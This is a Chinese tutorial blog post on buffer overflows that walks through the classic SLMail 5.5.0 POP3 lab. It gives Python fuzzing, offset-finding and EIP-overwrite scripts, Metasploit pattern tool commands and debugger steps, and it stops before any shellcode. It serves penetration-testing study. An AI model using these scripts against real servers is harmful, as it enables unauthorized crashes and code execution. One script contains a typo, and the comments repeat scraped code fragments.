[渗透测试学习九]缓冲区溢出原理
程序漏洞从哪里来?
- 罪恶的根源:变量
- 数据与代码边界不清
- 最简漏洞原理——shell脚本漏洞
缓冲区溢出
- 缓冲区是内存的一个片段
- 当缓冲区边界不严格时,由于变量传入畸形数据或程序,导致缓冲区撑破,从而覆盖了相邻内存数据
- 可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权等后果
如何发现?
- 代码审计
- 逆向工程
- 模糊测试
- 向程序堆栈半随机的数据、根据内存变化判断溢出
- 数据生成器:生成随机、半随机数据
- 测试工具:识别溢出漏洞
一个简单的缓冲区溢出实验
实验环境
- SLMail 5.5.0 Mail Sever
- ImmunityDebugger_1_85_setup.exe
- mona.py
(均为WindowsXP)
因为更高的版本有:
DEP:阻止代码从数据页执行
ASLR:随机内存地址加载执行程序DLL,每次重启地质变化 - 一个简单的telnet脚本:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "\nSending evil buffer..."
s.connect(('192.168.1.119',110)) # IP地址和端口号
data = s.secv(1024)
print data
s.send('USER admin'+'\r\n')
data = s.recv(1024)
print data
s.send('PASS test'+'\r\n')
data = s.recv(1024)
print data
s.close()
print "\nDone!"
except:
print "Could not connect to POP3!"
模糊测试
测试变量(USER,PASS)接受大量数据时是否会溢出
测试脚本:
#!/usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer) <= 50:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('192.168.1.119',110))
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
s.close()
如何判断已经溢出?
利用ImmunityDebugger调试侦听110端口的进程
命令行输入netstat -nao(Windows)查看端口对应进程PID
在ImmunityDebugger点击File-Attach-对应PID-Attach-播放按钮
在客户端运行脚本开始模糊测试
当服务器崩溃的时候,可以确定存在缓冲区溢出漏洞,还能确定大致溢出的字符串个数。
如何精确找出溢出的位置?
生成唯一字符串溢出,查看EIP被占用的字符串即可确定
- 生成唯一字符串方式:
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 2700
重启服务器
利用唯一字符串发送测试数据
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="唯一字符串" # 修改此数据
try:
print "\nSending evil buffer..."
s.connect(('192.168.1.119', 110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer+'\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"
此时EIP被填入了的四个ASC编码(例如38446939)
将这四个ASC编码倒序(39694438),利用
cd /usr/share/metasploit-framework/tools/exploit
./pattern_offset.rb -q 39694438
# 显示结果为2606,表示这个字符串之前有2006个字符,这个字符串在2607开始的。
找到字符对应的位置
寻找可存放shellcode的内存空间
将缓冲区全部填为A,EIP填为B,ESP跟C
运行脚本:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer= "A"*2606+"B"*4+"C"*(2606+4+3000) # 先放3000个
try:
print "\nSending evil buffer..."
s.connect(('192.168.1.119', 110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer+'\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"
发送后,在ImmunityDebugger右侧找到ESP右键点击Follow in Down,左下角右键Hex选16字节一行显示。
命令输入calc调出计算器,选择十六进制,将起始位和末尾地址相减得到ESP寄存器能装下的空间大小。
- 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符。
null byte(0x00)空字符,用于终止字符串拷贝的操作
return (0x0D)回车操作,表示POP3 PASS命令输入完成
思路:发送0x00-0xff共256个字符,查看哪些不字符能用
待更。。。
Linux缓冲区溢出探测
下一篇:怎么从目录里getshell
相关文章
- 3条评论
- 假欢千夜2022-06-03 10:25:23
- 24) s.send('PASS ' + string + '\r\n') s.send('QUIT\r\n') s.close()如何判断已经溢出?利用Immun
- 双笙迷麇2022-06-03 09:34:06
- 110)) data = s.recv(1024) s.send('USER test'+'\r\n') data = s.recv(1024) s.send('PASS '+bu
- 性许痴妓2022-06-03 09:17:01
- socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.119',110)) s.recv(1024) s.send('USER test'+'\r\n') s.recv(1024) s.